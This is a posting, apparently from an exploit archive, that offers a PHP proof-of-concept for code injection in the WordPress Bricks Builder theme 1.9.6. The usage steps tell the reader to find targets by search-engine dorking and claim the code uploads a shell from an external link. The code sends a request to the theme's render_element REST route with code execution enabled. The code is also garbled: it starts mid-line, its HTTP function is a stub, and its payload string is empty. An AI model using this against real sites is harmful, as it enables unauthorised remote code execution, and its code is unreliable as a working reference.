============================================================================================================================================= | # Title : WordPress Bricks Builder Theme 1.9.6 php code injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) | | # Vendor : https://bricksbuilder.io/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] The following php code Upload shell file from external link. [+] Line 53 set your target. [+] Line 45 set your commands. [+] Line 68 set your path. [+] save code as poc.php . [+] USage : cmd = php poc.php . [+] PayLoad : targetUri['path'])) { throw new Exception('Target URI path is not set.'); } // إرسال طلب GET لجلب الـ Nonce $response = $this->sendRequest(['method' => 'GET', 'uri' => $this->targetUri['path']]); // إذا كانت الاستجابة غير ناجحة، نرجع null if ($response['code'] !== 200) return null; // استخدام التعبير النمطي لاستخراج الـ Nonce preg_match('/"nonce":"([a-f0-9]+)"/', $response['body'], $matches); return $matches ? $matches[1] : null; // إرجاع الـ Nonce أو null إذا لم يتم العثور عليه } // دالة تنفيذ الاستغلال public function exploit() { // جلب الـ Nonce $nonce = $this->fetchNonce(); if (!$nonce) { throw new Exception('Failed to retrieve nonce. Exiting...'); // إذا فشل جلب الـ Nonce } echo "Nonce retrieved: {$nonce}\n"; // طباعة الـ Nonce المستخرج // إعداد البيانات لإرسالها في الطلب $data = [ 'postId' => rand(1, 10000), // توليد معرف عشوائي 'nonce' => $nonce, // استخدام الـ Nonce المستخرج 'element' => [ 'name' => 'code', 'settings' => [ 'executeCode' => 'true', 'code' => "" // هنا يتم وضع الشيفرة التي سيتم تنفيذها ] ] ]; // إرسال الطلب POST لتنفيذ الاستغلال $this->sendRequest([ 'method' => 'POST', 'uri' => $this->targetUri['path'] . '/index.php', // URL المستهدف 'ctype' => 'application/json', // نوع المحتوى 'data' => json_encode($data), // تحويل البيانات إلى صيغة JSON 'vars_get' => ['rest_route' => '/bricks/v1/render_element'] // المعلمات الإضافية ]); } // دالة لمحاكاة الطلبات HTTP private function sendRequest($options) { // قم بتنفيذ منطق الطلب HTTP هنا return ['code' => 200, 'body' => '{"nonce":"123456"}']; // استجابة مثال، يجب استبدالها بالمنطق الفعلي } } // الاستخدام $targetUri = ['path' => '/path/to/target']; // تعيين مسار الهدف هنا $module = new MetasploitModule([], $targetUri); // تمرير targetUri عند إنشاء الكائن try { $module->exploit(); // محاولة تنفيذ الاستغلال } catch (Exception $e) { echo $e->getMessage(); // طباعة رسالة الخطأ إذا حدثت } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================